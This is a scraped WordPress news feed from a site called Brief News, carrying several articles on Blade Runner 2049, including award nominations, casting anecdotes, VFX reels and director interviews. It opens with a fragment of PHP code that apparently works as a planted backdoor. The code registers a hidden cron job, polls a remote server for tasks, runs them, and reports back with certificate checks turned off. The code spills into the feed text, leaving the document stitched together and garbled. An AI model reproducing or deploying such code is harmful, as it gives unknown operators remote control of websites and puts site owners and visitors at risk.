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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 2049 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 18 Jan 2018 02:38:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 2049 – Brief News https://briefnews.eu 32 32 2018 Visual Effects Society Awards: ‘Blade Runner 2049’, ‘Planet of the Apes’, and More https://briefnews.eu/2018-visual-effects-society-awards-blade-runner-2049-planet-of-the-apes-and-more/ https://briefnews.eu/2018-visual-effects-society-awards-blade-runner-2049-planet-of-the-apes-and-more/#respond Thu, 18 Jan 2018 02:38:12 +0000 http://briefnews.eu/2018-visual-effects-society-awards-blade-runner-2049-planet-of-the-apes-and-more/ 2018 Visual Effects Society Awards

Say what you will about 2017, but last year’s crop of movies was pretty damn good overall, and that high bar of quality is reflected in the nominees for the 16th annual VES Awards. Nearly 3,400 artists, producers, technologists, and entertainment industry workers narrowed down the movies that best represented outstanding achievements in visual effects, and Blade Runner 2049 and War for the Planet of the Apes ended up tying for the highest number of feature film nominations. Meanwhile, HBO’s Game of Thrones leads the pack in terms of television programs, and the fantasy series earned the most overall nominations. See the major nominees for the 2018 Visual Effects Society Awards below.

Instead of judging a movie based on a combination of its script, performances, directing, cinematography, etc., the Visual Effects Society dials into the aspect they care about the most – which may at least partially account for the reason Despicable Me 3 has five total nominations. Yikes.

The organization’s full list is incredibly long and super specific (we’re talking categories like “Outstanding Created Environment in an Animated Feature”), so I’ll paste a majority of the nominees below and those of you who are interested in the whole list can read it here.

Outstanding Visual Effects in a Photoreal Feature

Blade Runner 2049
John Nelson
Karen Murphy Mundell
Paul Lambert
Richard Hoover
Gerd Nefzer

Guardians of the Galaxy Vol. 2
Christopher Townsend
Damien Carr
Guy Williams
Jonathan Fawkner
Dan Sudick

Kong: Skull Island
Jeff White
Tom Peitzman
Stephen Rosenbaum
Scott Benza
Michael Meinardus

Star Wars: The Last Jedi
Ben Morris
Tim Keene
Eddie Pasquarello
Daniel Seddon
Chris Corbould

War for the Planet of the Apes
Joe Letteri
Ryan Stafford
Daniel Barrett
Dan Lemmon
Joel Whist

Outstanding Supporting Visual Effects in a Photoreal Feature

Darkest Hour
Stephane Naze
Warwick Hewett
Guillaume Terrien
Benjamin Magana

Downsizing
James E. Price
Susan MacLeod
Lindy De Quattro
Stéphane Nazé

Dunkirk
Andrew Jackson
Mike Chambers
Andrew Lockley
Alison Wortman
Scott Fisher

Mother!
Dan Schrecker
Colleen Bachman
Ben Snow
Wayne Billheimer
Peter Chesney

Only the Brave
Eric Barba
Dione Wood
Matthew Lane
Georg Kaltenbrunner
Michael Meinardus

Outstanding Visual Effects in an Animated Feature

Captain Underpants
David Soren
Mark Swift
Mirielle Soria
David Dulac

Cars 3
Brian Fee
Kevin Reher
Michael Fong
Jon Reisch

Coco
Lee Unkrich
Darla K. Anderson
David Ryu
Michael K. O’Brien

Despicable Me 3
Pierre Coffin
Chris Meledandri
Kyle Balda
Eric Guillon

The LEGO Batman Movie
Rob Coleman
Amber Naismith
Grant Freckelton
Damien Gray

The LEGO Ninjago Movie
Gregory Jowle
Fiona Chilton
Miles Green
Kim Taylor

Outstanding Visual Effects in a Photoreal Episode

Agents of S.H.I.E.L.D.; Orientation Part 1
Mark Kolpack
Sabrina Arnold
David Rey
Kevin Yuille
Gary D’Amico

Game of Thrones; Beyond the Wall
Joe Bauer
Steve Kullback
Chris Baird
David Ramos
Sam Conway

Legion; Chapter 1
John Ross
Eddie Bonin
Sebastien Bergeron
Lionel Lim
Paul Benjamin

Star Trek: Discovery; The Vulcan Hello
Jason Michael Zimmerman
Aleksandra Kochoska
Ante Dekovic
Mahmoud Rahnama

Stranger Things 2; The Gate
Paul Graff
Christina Graff
Seth Hill
Joel Sevilla
Caius the Man

Outstanding Animated Character in a Photoreal Feature

Blade Runner 2049; Rachael
Axel Akkeson
Stefano Carta
Wesley Chandler
Ian Cooke-Grimes

Kong: Skull Island; Kong
Jakub Pistecky
Chris Havreberg
Karin Cooper
Kris Costa

War for the Planet of the Apes; Bad Ape
Eteuati Tema
Aidan Martin
Florian Fernandez
Mathias Larserud

War for the Planet of the Apes; Caesar
Dennis Yoo
Ludovic Chailloleau
Douglas McHale
Tim Forbes

Outstanding Animated Character in an Episode or Real-Time Project

Black Mirror: Metalhead
Steven Godfrey
Stafford Lawrence
Andrew Robertson
Lestyn Roberts

Game of Thrones; Beyond the Wall; Zombie Polar Bear
Paul Story
Todd Labonte
Matthew Muntean
Nicholas Wilson

Game of Thrones; Eastwatch; Drogon Meets Jon
Jonathan Symmonds
Thomas Kutschera
Philipp Winterstein
Andreas Krieg

Game of Thrones; The Spoils of War; Drogon Loot Train Attack
Murray Stevenson
Jason Snyman
Jenn Taylor
Florian Friedmann

Outstanding Created Environment in a Photoreal Feature

Blade Runner 2049; Los Angeles
Chris McLaughlin
Rhys Salcombe
Seungjin Woo
Francesco Dell’Anna

Blade Runner 2049; Trash Mesa
Didier Muanza
Thomas Gillet
Guillaume Mainville
Sylvain Lorgeau

Blade Runner 2049; Vegas
Eric Noel
Arnaud Saibron
Adam Goldstein
Pascal Clement

War for the Planet of the Apes; Hidden Fortress
Greg Notzelman
James Shaw
Jay Renner
Gak Gyu Choi

War for the Planet of the Apes; Prison Camp
Phillip Leonhardt
Paul Harris
Jeremy Fort
Thomas Lo

As much as I loved War for the Planet of the Apes (it’s on my top 10 list!), I have to admit I’m pulling for Blade Runner 2049 to take home the big award here. What a gorgeous piece of work. The voting period lasts from January 25 until February 6, 2018, and the organization’s awards gala will be held on February 13, 2018.

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]]> https://briefnews.eu/2018-visual-effects-society-awards-blade-runner-2049-planet-of-the-apes-and-more/feed/ 0 Dave Bautista Was Told He Was Too Young for His ‘Blade Runner 2049’ Role https://briefnews.eu/dave-bautista-was-told-he-was-too-young-for-his-blade-runner-2049-role/ https://briefnews.eu/dave-bautista-was-told-he-was-too-young-for-his-blade-runner-2049-role/#respond Wed, 17 Jan 2018 05:44:48 +0000 http://briefnews.eu/dave-bautista-was-told-he-was-too-young-for-his-blade-runner-2049-role/ dave bautista blade runner 2049

Towering at 6′ 3″ and boasting a thickset neck and torso, Dave Bautista is already an unlikely Hollywood star. The former professional wrestler and mixed martial arts fighter shot to stardom in 2014’s Guardians of the Galaxy as Drax, the gruff musclehead alien with a heart, and continues to shine in intriguing roles like that of the Replicant Sapper Morton in Blade Runner 2049.

But Bautista nearly didn’t get his memorable role in Denis Villeneuve‘s ambitious science fiction sequel. And it wasn’t because of a poor audition or his intimidating height. It was because — at 48 years old — everyone thought he was just too young.

It sounds a bit strange to nearly discount a middle aged actor because he was too young for the part. However, Villeneuve envisioned Sapper Morton as a weary, older man — something that he thought the physically fit, energetic Bautista didn’t embody, according to The Hollywood Reporter.

“Dave was such a charismatic and strong presence, but there was only one problem — he was too young to play that part,” Villeneuve told THR. But Bautista eventually won the role over thanks to the efforts of make-up artist Donald Mowat, who gave the actor a grizzled, graying look.

Bautista was as baffled as you are that he almost lost out on the role because of his “young” age. He was already an anomaly for breaking out in Hollywood at the ripe age of 45 in Guardians of the Galaxy, in an industry where youth is a huge boon for many action stars:

“Throughout my experience in Hollywood, I was either too big or too old. I had never been told I was too young, and I just didn’t know what to say. And then they got in touch with me and asked if I would go through some makeup tests to try and age me. I said, ‘Of course.’”

But unlike the former wrestlers that broke into Hollywood before him, Bautista is not going the action star route. Bautista is not conventionally handsome like Dwayne Johnson or John Cena, and indeed his unique physique would make him an unlikely Hollywood actor — his shoulders too broad, his neck too thick, his head oddly shaped.

But Bautista has proven to be incredibly talented, radiating empathy and vulnerability in each of his roles. Instead of striking out with lead roles, Bautista has wisely chosen the character actor route, playing the scene-stealing supporting character in cerebral sci-fi flicks like Blade Runner 2049 or satirical space operas like Guardians of the Galaxy. He’s become a genuinely interesting actor thanks to these unconventional career choices, and I look forward to what he does next. Ageism is still a powerful force in Hollywood, but Bautista has a promising future.

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]]> https://briefnews.eu/dave-bautista-was-told-he-was-too-young-for-his-blade-runner-2049-role/feed/ 0 The 5 Best Movies to Buy or Stream This Week: ‘Blade Runner 2049,’ ‘The Polka King’ https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-blade-runner-2049-the-polka-king/ https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-blade-runner-2049-the-polka-king/#respond Tue, 16 Jan 2018 21:12:33 +0000 http://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-blade-runner-2049-the-polka-king/ One of the most staggeringly beautiful movies of last year makes its Blu-ray debut this week, and I’m finally understanding why gearheads want me to upgrade to this “4K UHD BD” nonsense. We’ve also got 2016’s Palme d’Or winner joining the Criterion Collection, three different versions of an unsung Orson Welles movie on FilmStruck, and favorites old and new on Netflix. Here we go:

ON NETFLIX

The Polka King: Maya Forbes and Wallace Wolodarsky craft a frisky and energetic comedy with a snappy, screwball spirit, which isn’t exactly a given, considering the subject matter: it’s the true story of Jan Lewan (Jack Black), a Polish immigrant and Pennsylvania polka bandleader who bilked fans and friends out of $ 4.9 million in an elaborate “investment” Ponzi scheme. He was a good con artist for one simple reason: he was a total charmer. In other words, Black is perfectly cast, in one of those turns that reminds us of what makes him such an engaging presence: his pure joy of performance, both when he’s onstage (he goes for the gusto in those polka numbers) and off.

Dallas Buyers Club: The subsequent public pronouncements and general obnoxiousness of Jared Leto has taken a bit of the sheen off his 2013 comeback movie, but make no mistake, he’s terrific in it – finding a balance with star Matthew McConaughey not unlike Hanks and Washington’s in Philadelphia, in which a bigot sees the face of mortality, and discovers his own humanity. Both won Oscars for their performances, and worked hard for them; the film is not without its flaws, but its heart is in the right place.

ON FILMSTRUCK

Mr. Arkadin: This 1955 thriller from Orson Welles (newly streaming on FilmStruck) explores similar narrative and thematic ground as Citizen Kane, and concerns a character not unlike The Third Man’s Harry Lime. But he didn’t have the same resources at his disposal; it’s one of his late-period snatch-and-dash jobs, assembled in bits and pieces over an extended period across continents, and was one of the many films wrestled from the filmmaker and recut against his wishes. FilmStruck, like the earlier Criterion DVD set, provides three incarnations of the movie (including its alternate European release, titled Confidential Report), and sussing them all out is a bit of an endeavor. But in a strange way, it bolsters the movie’s unreliable-narrator structure – each version offers a different approach to this story, this character, and in some ways, to Welles himself.

ON BLU-RAY / DVD / VOD

Blade Runner 2049: Denis Villeneuve’s long-in-coming sequel to Ridley Scott’s 1982 cult fave was a bit of a box-office stumbler this fall, which shouldn’t have come as a surprise, since a) the original film kinda tanked initially itself, and b) it takes such great pains to use that original as a launching pad for its own, distinct story, rather than merely retreading the now-entrenched imagery and iconography. In fact, 2049 is odd and daring, an unsettling and at times off-putting deeper dive into the questions of identity, memory, and solitude. People looking for a cool sci-fi sequel will probably be bored, or confused, or worse. But y’know what? There’s plenty of safe bets out there for them. (Includes featurettes and prologues.)

I, Daniel Blake: Ken Loach’s up-close character study, new to the Criterion Collection, concerns a recently widowed man with a heart condition attempting to navigate the red tape, nonsense rules, and circle-jerk “procedures” of British social services. But it’s not the downer it could’ve easily been; in fact, it finds moments of levity in his quest, and its frustrations. This is a portrait of desperation and fear, told in quietly affecting moments of truth and snapshots that play like documentary. There’s an offhand quality to Loach’s writing, and the playing of it — you can’t catch these people acting — but the accumulation of what he’s up to is devastating. (Includes audio commentary, featurettes, deleted scenes, and trailer.)

                                                                            

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]]> https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-blade-runner-2049-the-polka-king/feed/ 0 ‘Blade Runner 3’: Ridley Scott Already Has an Idea for a ‘Blade Runner 2049’ Sequel https://briefnews.eu/blade-runner-3-ridley-scott-already-has-an-idea-for-a-blade-runner-2049-sequel/ https://briefnews.eu/blade-runner-3-ridley-scott-already-has-an-idea-for-a-blade-runner-2049-sequel/#respond Mon, 08 Jan 2018 16:49:59 +0000 http://briefnews.eu/blade-runner-3-ridley-scott-already-has-an-idea-for-a-blade-runner-2049-sequel/ Blader Runner 3

Ridley Scott may have taken a hands-off approach to Denis Villeneuve‘s ambitious critical darling Blade Runner 2049, but it appears that he wants to tackle another sequel to his seminal sci-fi classic Blade Runner.

The 80-year-old director keeps piling up potential projects, with news that he’s in talks with Disney to adapt the Merlin Saga and now his somewhat nonchalant statement that he’s considering a return to the Blade Runner franchise. Now it’s just a question of whether Warner Bros. would want to invest in another sequel to the sci-fi series after Blade Runner 2049 disappointed at the box office.

Perhaps he wants a do-over after Blade Runner 2049 failed to win over audiences with its thrilling, cerebral story, or perhaps Scott just can’t stay away from the franchises he created. (How many Alien movies has he promised to make, again?) But while Scott’s return to his sci-fi classics have seen mixed results, that doesn’t mean the octogenarian won’t stop trying.

When Digital Spy asked him if he was considering returning to make a Blade Runner 3, he responded in the affirmative:

“I hope so. I think there is another story. I’ve got another one ready to evolve and be developed, so there is certainly one to be done for sure.”

Could Blade Runner 2049 invite a sequel? The emotional and narrative arc for Ryan Gosling‘s Agent K is essentially over, but Rick Deckard (Harrison Ford) and Dr. Ana Stelline’s (Carla Juri) story is just beginning. There’s also the issue of the impending Replicant revolution, which offered Blade Runner 2049 a spark of hope and could feasibly be the premise for a whole other movie.

It’s no secret that Scott had some separation anxiety with Blade Runner — Villeneuve even had to kick Scott off his Blade Runner 2049 set. But while Scott was supportive of the finished film, he had a few choice words for Villeneuve’s approach to Blade Runner 2049. Scott criticized the audacious film for being “fucking way too long,” saying that he would have “taken out half an hour.” However, he laid off picking apart the story, in part because Scott claimed to have a role in sculpting the script himself. He told Vulture:

“I sit with writers for an inordinate amount of time and I will not take credit, because it means I’ve got to sit there with a tape recorder while we talk. I can’t do that to a good writer. But I have to, because to prove I’m part of the actual process, I have to then have an endless amount [of proof], and I can’t be bothered.”

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]]> https://briefnews.eu/blade-runner-3-ridley-scott-already-has-an-idea-for-a-blade-runner-2049-sequel/feed/ 0 Why Christopher Nolan Didn’t Want to Direct ‘Blade Runner 2049’ https://briefnews.eu/why-christopher-nolan-didnt-want-to-direct-blade-runner-2049/ https://briefnews.eu/why-christopher-nolan-didnt-want-to-direct-blade-runner-2049/#respond Sun, 07 Jan 2018 20:56:20 +0000 http://briefnews.eu/why-christopher-nolan-didnt-want-to-direct-blade-runner-2049/ christopher nolan blade runner 2049

Read any Christopher Nolan interview and he’ll probably go on at length about how big an influence Blade Runner plays on his films. Shades of Ridley Scott’s seminal sci-fi classic can be found in everything from his superhero starter film Batman Begins to his ambitious and cerebral Interstellar.

Nolan’s love for the 1982 film (he’s watched it over 100 times!) fed into the rumor that he was up to direct the Blade Runner sequel when it was first announced in 2012. But those rumors soon fell by the wayside when director Denis Villeneuve stepped up to the plate, delivering 2017’s stunning and audacious Blade Runner 2049. Nolan released Dunkirk last year instead. But don’t go thinking about “what might have been.” Apparently, Nolan would never want to direct a Blade Runner movie if he could help it.

As with many a Nolan interview, the recent Los Angeles Times interview with the director as he embarks on his awards-season press tour for Dunkirk brought up his ardor for Blade Runner. But this time, the question had a bit more weight to it thanks to the critical acclaim of Blade Runner 2049 and its subsequent box office disappointment. If Nolan had done things differently, could we have seen him in the director’s chair for a Blade Runner sequel? No, Nolan answered resoundly:

“There are a lot of movies that are on such a pedestal that to try and either remake them or follow them up would be too tricky. I have to find a way around things. So, like, ‘Interstellar’ is very much, as people would say, in dialogue with ‘2001 [A Space Odyssey].’ You have to find your own way around.”

As much as he adores Blade Runner, it casts such a large shadow that Nolan could never direct a sequel to it in the way that he would want, he says. This makes sense — other than the Batman movies, Nolan has made an emphatic choice to direct only original films. It’s what makes him one of Warner Bros.’ most successful directors today, and a refreshing change of pace in a movie industry increasingly bogged down by franchises and sequels.

But that doesn’t mean that Nolan had any ill will towards Villeneuve’s Blade Runner 2049. Quite the opposite in fact:

“[Blade Runner 2049] was a real pleasure. I love [director] Denis [Villeneuve]. He bravely took on what he referred to as a suicide mission, following such a huge film that I was such a fan of. I thought he did a great job. Those guys really went for it. You have to admire that.”

So basically, don’t expect a Nolan Blade Runner sequel any time soon. You’ll just have to make do with the director raving about how often he watches the movie (did I mention it was over 100 times?).

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]]> https://briefnews.eu/why-christopher-nolan-didnt-want-to-direct-blade-runner-2049/feed/ 0 ‘Blade Runner 2049’ VFX reel breaks down that unexpected reveal https://briefnews.eu/blade-runner-2049-vfx-reel-breaks-down-that-unexpected-reveal/ https://briefnews.eu/blade-runner-2049-vfx-reel-breaks-down-that-unexpected-reveal/#respond Wed, 03 Jan 2018 19:41:29 +0000 http://briefnews.eu/blade-runner-2049-vfx-reel-breaks-down-that-unexpected-reveal/

Despite the insane stakes, this year’s Blade Runner 2049 lived up to (and in some ways surpassed) the paradigm-shifting original film. The sequel created its gritty futuristic look with the help of plenty of visual effects, but building settings isn’t all the film pulled off with digital wizardry. A shocking moment comes with the kinda-return of (*spoilers*) Sean Young’s replicant Rachel, who looks like she hasn’t aged a day. The company behind that VFX trick just released a trailer giving a peek at exactly how they did it.

The Moving Picture Company recreated Rachel through a combination of procedures, including bringing back Sean Young and scanning her in, combining that with archival footage from the original film to create a digital double, then animating it on top of a motion-captured stand-in actress. As Gizmodo pointed out, it’s not a new series of techniques, but the company made a more convincing (and less creepy) young Rachel than earlier efforts to digitally recreate and de-age actors and actresses, as Rogue One tried to do with Princess Leia and Grand Moff Tarkin.

Via: Gizmodo

Source: Motion PIcture Company

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]]> https://briefnews.eu/blade-runner-2049-vfx-reel-breaks-down-that-unexpected-reveal/feed/ 0 VOTD: How ‘Blade Runner 2049’ Recreated the Replicant Rachel https://briefnews.eu/votd-how-blade-runner-2049-recreated-the-replicant-rachel/ https://briefnews.eu/votd-how-blade-runner-2049-recreated-the-replicant-rachel/#respond Tue, 02 Jan 2018 14:36:40 +0000 http://briefnews.eu/votd-how-blade-runner-2049-recreated-the-replicant-rachel/ Blade Runner 2049 Visual Effects

Visual effects are getting better and better every day. While some didn’t quite buy the digital recreation of Peter Cushing as Grand Moff Tarkin in Rogue One: A Star Wars Story (not to mention have problems with the ethics of such a production element), it appears Blade Runner 2049 succeeded in a somewhat similar visual effects feat.

In Blade Runner 2049, we see the return of Sean Young as the exceptionally unique replicant named Rachel from the original Blade Runner. However, instead of merely bringing back Sean Young and de-aging her like Jeff Bridges in TRON: Legacy, director Denis Villeneuve opted to use a performance double and have the younger version of Sean Young recreated entirely with visual effects. See how they did it below, but beware of a bit of a spoiler regarding the nature of this character’s return in the movie.

Watch the Blade Runner 2049 Visual Effects Featurette

In this breakdown of the recreation of Rachel, we see how a performance double was used on set, but a very carefully crafted digital double was used in the final cut. What’s impressive is that there are several shots from the original Blade Runner recreated with this digital double, and it’s almost impossible to tell them apart. This is easily one of the best digital doubles I’ve seen in any film, and it’s only going to get better.

The Moving Picture Company (MPC) visual effects studio didn’t leave Sean Young out in the wind though. They brought the actress in for scanning to use as a frame of reference for recreating every subtle movement of her face in the younger digital double, as evidenced by her quick appearance in the video. It’s a shame there wasn’t a more prominent role for her in the sequel though.

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]]> https://briefnews.eu/votd-how-blade-runner-2049-recreated-the-replicant-rachel/feed/ 0 VOTD: ‘Blade Runner 2049’ VFX Reel Reveals the Creation of Future Los Angeles https://briefnews.eu/votd-blade-runner-2049-vfx-reel-reveals-the-creation-of-future-los-angeles/ https://briefnews.eu/votd-blade-runner-2049-vfx-reel-reveals-the-creation-of-future-los-angeles/#respond Tue, 26 Dec 2017 21:27:48 +0000 http://briefnews.eu/votd-blade-runner-2049-vfx-reel-reveals-the-creation-of-future-los-angeles/ Blade Runner 2049 VFX Reel

It’s unfortunate that Blade Runner 2049 bombed at the box office this summer, especially since it’s one of the most thoughtful and gorgeous blockbusters we’ve seen in years. But that doesn’t mean those of us who took the time to see the movie can’t still marvel at the incredible work that went into bringing Ridley Scott’s sci-fi noir universe to life again.

A visual effects reel from Rodeo FX has surfaced online, showing how much post-production work went into Blade Runner 2049 to transport us to the bleak, distant future of Los Angeles, 30 years after the events of the original Blade Runner. Check out the Blade Runner 2049 VFX reel below.

Visual effects supervisor John Nelson worked closely with director Denis Villeneuve to bring this world to life flawlessly with Rodeo FX artists working on 75 visual effects shots for the film. Not only did they face the challenge of making this world feel tangible and real, but it also had to fit in with the aesthetic of the original movie while also going in a new visual direction.

If you want to see the work Rodeo FX did on Blade Runner 2049 did in more detail, check out their official website.

Thirty years after the events of the first film, a new blade runner, LAPD Officer K (Ryan Gosling), unearths a long-buried secret that has the potential to plunge what’s left of society into chaos. K’s discovery leads him on a quest to find Rick Deckard (Harrison Ford), a former LAPD blade runner who has been missing for 30 years.

Blade Runner 2049 hits digital download on December 26, 2017 and Blu-Ray/DVD on January 16, 2018.

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]]> https://briefnews.eu/votd-blade-runner-2049-vfx-reel-reveals-the-creation-of-future-los-angeles/feed/ 0 ‘Blade Runner 2049’ VFX reel shows CG tricks behind bleak landscapes https://briefnews.eu/blade-runner-2049-vfx-reel-shows-cg-tricks-behind-bleak-landscapes/ https://briefnews.eu/blade-runner-2049-vfx-reel-shows-cg-tricks-behind-bleak-landscapes/#respond Tue, 26 Dec 2017 03:27:28 +0000 http://briefnews.eu/blade-runner-2049-vfx-reel-shows-cg-tricks-behind-bleak-landscapes/

There’s no question that Blade Runner 2049 revolves around computer-generated effects, whether it’s the retro-futuristic technology or its holographic AI personas. However, the CG is more pervasive than you might think. Rodeo FX has released a visual effects reel for Denis Villeneuve’s bleak sci-fi movie, and it’s evident that even the seemingly mundane shots were draped in digital artwork. Caution: there are mild spoilers ahead.

It’s not shocking that some scenes are entirely CG (such as flights over the future Los Angeles), or have to use it to fill in landscapes that don’t exist. However, it’s the extent to which it’s used. When K exits his vehicle in Las Vegas, for example, very little of the scene is real — he’s walking toward a green screen held up by a crane. Even moments that don’t look like they need CG, such as visiting a collection of genetic records or a sweatshop, use it to add depth and atmosphere.

The clip highlights not just Rodeo’s CG skills (that’s clearly the main purpose), but also how far effects have come since the original Blade Runner… and really, in the movie industry in general. Where the first movie was dictated by the limitations of filmmaking that was still almost exclusively analog, 2049 could go as far as its creators’ imaginations would allow.

Via: The Verge

Source: Rodeo FX (Vimeo)

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]]> https://briefnews.eu/blade-runner-2049-vfx-reel-shows-cg-tricks-behind-bleak-landscapes/feed/ 0 ‘Blade Runner 2049’ Director Defends The Film’s Treatment of Women https://briefnews.eu/blade-runner-2049-director-defends-the-films-treatment-of-women/ https://briefnews.eu/blade-runner-2049-director-defends-the-films-treatment-of-women/#respond Mon, 27 Nov 2017 22:09:40 +0000 http://briefnews.eu/blade-runner-2049-director-defends-the-films-treatment-of-women/ blade runner 2049 women

After seeing director Denis Villeneuve‘s sci-fi sequel Blade Runner 2049, some viewers took issue with the movie’s depiction of its female characters. The main story revolves around a male Replicant (Ryan Gosling‘s Agent K) and his quest for another (Harrison Ford‘s Rick Deckard) to learn the truth about his origins, and the movie’s women are often relegated to minor supporting players, holograms, or sex workers.

Now the filmmaker has responded to critiques of the way he portrayed women in the movie. Is his response good enough to change your mind?

Speaking with Vanity Fair, Villeneuve spoke about his movie’s treatment of its female characters:

I am very sensitive to how I portray women in movies. This is my ninth feature film and six of them have women in the lead role. The first Blade Runner was quite rough on the women; something about the film noir aesthetic. But I tried to bring depth to all the characters. For Joi, the holographic character, you see how she evolves. It’s interesting, I think.

What is cinema? Cinema is a mirror on society. Blade Runner is not about tomorrow; it’s about today. And I’m sorry, but the world is not kind on women.

There’s a sense in American cinema: you want to portray an ideal world. You want to portray a utopia. That’s good—dreams for a better world, to advocate for something better, yes. But if you look at my movies, they are exploring today’s shadows. The first Blade Runner is the biggest dystopian statement of the last half century. I did the follow-up to that, so yes, it’s a dystopian vision of today. Which magnifies all the faults. That’s what I’ll say about that.

He raises some good points there. He did inherit a cinematic world in which the original movie’s main character was awfully rapey toward a Replicant in a key sequence, so it’s not exactly a cheery outlook for women decades later in that universe. Robin Wright‘s slick, no-nonsense Lt. Joshi is a fine example of a female character who felt like a person with agency and her own inner life in the sequel, although she wasn’t given much to do overall. The most significant complaints seem to be around Joi, the hologram character played by Ana De Armas, and Mackenzie Davis‘s Mariette, who is used as a sex surrogate in a scene with Gosling’s K. Sylvia Hoeks plays Jared Leto’s right-hand woman, who is a far more interesting character than Leto and has much more to do than he does. And remember, the heart of the film is about a father being reunited with his daughter. (To say more would  spoil things.)

When I saw it in theaters, I didn’t have too many objections to the way the Blade Runner 2049 women characters were treated. But I’m always up for hearing multiple interpretations, and much of the criticism of the film that I’ve read since has pointed at that as a significant downside to the movie. I look forward to watching it again through that lens, but I do think Villeneuve brings up some fascinating points. As civilized society becomes more and more woke, what responsibility does a filmmaker have to depict women (or minorities, or oppressed people, etc.) in an idealized way? Where is the cultural line between depiction and endorsement? Ultimately, I think the fact that we’re still talking about this at all, months after the movie’s release, is a testament to Blade Runner 2049‘s legacy: it’s a movie that gives us plenty to think about.

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